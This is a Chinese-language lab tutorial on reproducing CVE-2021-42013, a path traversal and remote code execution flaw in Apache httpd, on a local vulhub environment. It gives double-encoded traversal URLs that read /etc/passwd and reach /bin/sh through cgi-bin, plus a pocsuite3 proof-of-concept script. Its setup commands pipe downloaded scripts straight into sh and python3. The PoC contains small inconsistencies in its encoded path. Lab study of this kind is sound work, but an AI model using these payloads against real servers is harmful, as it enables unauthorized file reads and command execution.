一.搭建vulhub环境
基础环境:centos7
搭建步骤:
1.安装docker
curl -s https://get.docker.com/ | sh
2.安装docker compose
Docker-compose基于Python开发,所以我们可以使用pip进行安装。
2.1 先安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
2.2下载vulhub靶场
pip install docker-compose
二、启动靶场
1.cd到靶场目录
cd /vulhub/httpd/CVE-2021-42013
2. 启动靶场
2.1 Docker Compose 介绍
Docker Compose是一个用来方便地管理多个 Docker 容器的工具,
2.2 docker-compose build 构建
这一步可以省略,当配置文件更新的时候可以执行,因为docker compose up -d 是包含docker-compose build的
docker compose build
2.3 docker-compose up -d 启动靶场
docker-compose up -d
2.3 访问靶场
curl 127.0.0.1:8080
三、漏洞复现
1.漏洞介绍
Apache HTTP 服务器项目致力于开发和维护用于现代操作系统(包括 UNIX 和 Windows)的开源 HTTP 服务器。
CVE-2021-42013 是由于CVE-2021-41773未完全修复而导致的漏洞,攻击者可以利用路径遍历攻击将 URL 映射到由类似 Alias 的指令配置的目录之外的文件。若httpd中开启CGI功能,攻击者可以构造恶意请求,造成远程代码执行。
此漏洞影响 Apache HTTP Server 2.4.49 和 2.4.50,但不影响早期版本。
2. 前置知识点
前提知识点,URL编码,路径穿越漏洞
2.1.1 路径穿越漏洞概述
路径穿越漏洞,也叫做目录穿越漏洞,是一种常见的web安全漏洞。通过这个漏洞,攻击者可以访问服务器不让用户访问的文件。比如网站之外的目录:服务器的文件
,数据库的文件等等。
2.1.2 路径穿越漏洞的工作原理
- 正常的文件访问
假设你在访问一个WEB应用,它允许你查看某个文件的内容。比如,网站允许你查看自己的个人资料文件,通过这样的URL范文
http:// sese.com/movie?file=sese.mp4
- 攻击利用路径穿越
攻击者并不满足只看sese图片,他们知道系统可能存在路径穿越漏洞。于是他们在file参数中输入一个特殊的路径:../../
,表示返回上一级目录。
http://sese.com/movie?file=../../../../etc/passwd
- 路径穿越的攻击方法
(1)基本的路径穿越就是../
(2)URL编码:
对…/进行编码,比如…/编码结果就是%2E%2E%2F;还可以进行重复编码,比如%2E%2E%25
2F (%25对应%)。
(3)Unicode编码:
有些应用会对Unicode编码做不当处理,攻击者可能利用Unicode编码字符来绕过过滤。比如,../
的Unicode编码可能是..\u002E\002E\u002F
(4)结合多种编码方式进行攻击
攻击者可以通过多次编码,或者通过..
和%
等字符的结合,来增加攻击的复杂性,使应用更难检测和组织。
2.2.1 URL 编码特征
1.URL编码的基本规则
特殊字符(如空格、/、?、&等)需要进行编码。
每个被编码的字符一%开头,后门跟两个十六进制数字。
例如,空格字符
会被编码为%20
2.常见编码
空格:%20 或 +(在查询参数中通常表示空格)
.:%2E
!:%21
#:%23
%:%25
&:%26
/:%2F
=:%3D
?:%3F
3.漏洞利用
(1)自己的环境当然可以先进去看一下目录了。
(2)编辑url目录穿越(使用一些url转码的工具)
先对.
进行编码%2e
,再通过编码服用对2
编码%32
,再对e
进行编码复用%65
,最后进行组合%%32%65
解码为%2e
最后构造的url为http:127.0.0.1:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
(3)命令执行,当http服务器开启了mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行。
请求路径
http://10.4.7.5:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
如何开启cgi和cgid 在httpd.conf文件中去除掉 下凡这两个模块的注释即可,如图
四、POC编写
使用pocsuite3框架编写。
pocsuite3一共三个主要关键函数_verify,_attack,_shell,
_verify
:漏洞验证模式,如果当在命令行执行的时候不带任何参数,默认会执行本函数
_atack
:攻击模式,调用的时候加上–attack参数
shell
:getshell模式,要针对服务器的类型来反弹shell
options
:设置参数,参数模板。
from collections import OrderedDict
import requests
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
VUL_TYPE,
get_listener_ip,
get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
OptString,
OptDict,
OptIP,
OptPort,
OptBool,
OptInteger,
OptFloat,
OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD
class DemoPOC(POCBase):
author = "dwyi" # PoC作者的大名
pocDesc = """
任意文件读取,在cgi和cgid两个模块开启的情况下可任意命令执行
""" # POC用法描述
def _options(self):
pass
opt = OrderedDict() # value = self.get_option('key')
#OptInteger是整型,OptString是字符型
opt["fpath"] = OptString(
"/etc/passwd", description="读取文件路径", require=False
)
return opt
def _exploit(self,param=''):
target_url = self.target + f"/icons/.%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/{param}"
req = requests.Request("GET", target_url)
prepared = req.prepare()
prepared.url = target_url
session = requests.Session()
res = session.send(prepared, timeout=10)
return res
def _verify(self):
output = Output(self) #打印、显示或者记录漏洞验证过程中的结果信息,将想要给用户看的信息展示给用户看
result = {}
param = self.get_option('fpath')
# print(param)
res = self._exploit(param)
if "root" in res.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# 统一调用 self.parse_output() 返回结果
return self.parse_output(result)
def _attack(self):
output = Output(self)
# 攻击代码
param = self.get_option('fpath')
res = self._exploit(param)
print(res.text)
# 注册 DemoPOC 类
register_poc(DemoPOC)
五,注意点
requests模块会对输入的url自动编码,而通过使用requests库中的对象PreparedRequest可以解决这个问题。
1、PreparedRequest对象介绍
PreparedRequest是requests库中的一个对象,代表以及构造好、预处理完成的HTTP请去,在需要精细控制请求的发送过程时候使用。
构建过程
:
原始请求:你写一个草稿(使用 requests.Request),还没有经过最终处理。
准备请求:调用 .prepare() 方法,就像检查、格式化和完善信件内容,这时就生成了 PreparedRequest。
发送请求:这个准备好的请求对象包含了所有必要的信息(例如 URL、请求头、请求体等),然后直接用来发送网络请求
。
target_url = self.target + f"/icons/.%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/{param}"
#构造 Request 对象
req = requests.Request("GET", target_url)
#调用 prepare() 生成 PreparedRequest 对象
prepared = req.prepare()
#覆盖 PreparedRequest 的 url 属性,确保保持原始的 raw_url
prepared.url = target_url
#使用 Session 发送这个 PreparedRequest
session = requests.Session()
res = session.send(prepared, timeout=10)